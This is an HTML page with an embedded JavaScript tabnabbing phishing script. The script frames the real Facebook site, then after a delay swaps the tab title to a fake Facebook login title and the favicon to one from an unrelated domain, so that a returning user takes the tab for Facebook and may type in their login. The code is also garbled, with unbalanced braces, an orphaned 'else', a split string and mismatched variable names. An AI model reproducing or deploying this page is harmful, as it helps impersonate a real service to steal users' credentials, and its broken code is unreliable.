<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>
<script type="text/javascript">
var REAL_PAGE_URL = "http://www.facebook.com/";
var FAKE_PAGE_URL = "http://www.kimronniepromotion.com";
var FAKE_PAGE_TITLE = "Welcome to facebook-login, Sign up or learn more";
var REAL_FAVICON = "http://www.facebook.com/favicon.ico";
var FAKE_FAVICON = "http://www.kimronniepromotion.com/favicon.ico";
var TIME_TO_SWITCH_IE = "5000";
var TIME_TO_SWITCH_OTHERS = "2000";
var TIMER = null;
var SWITCHED = "false";
var BROWSER_TYPE = "chrome,Phoenix or any";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
BROWSERTYPE="InternetExplorer"; }
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = REAL_FAVICON; document.getElementsByTagName('head')[0].appendChild(link);
}
var el_tabnab = document.createElement("iframe"); el_tabnab.id="tabnab";
el_tabnab.name="tabnab"; document.body.appendChild(el_tabnab); el_tabnab.setAttribute('src', REAL_PAGE_URL);
el_tabnab.focus();
if(BROWSER_TYPE=="Internet Explorer"){
TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE); }
el_tabnab.onfocus= function(){
if(TIMER) clearTimeout(TIMER);
}
} else {
setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}
function TabNabIt(){
if(SWITCHED == "false"){
FAKE_PAGE_FAVICON
if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;
var links =
document.getElementsByTagName("head")[0].getElementsByTagName("l ink");
for (var i=0; i<links.length; i++) {
var looplink = links[i];
if (looplink.type=="image/x-icon" && looplink.rel=="shortcut
icon") {document.getElementsByTagName("head")[0].removeChild(looplink); }
}
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = FAKE_FAVICON; document.getElementsByTagName("head")[0].appendChild(link); }
} }
</script>
</body>
</html>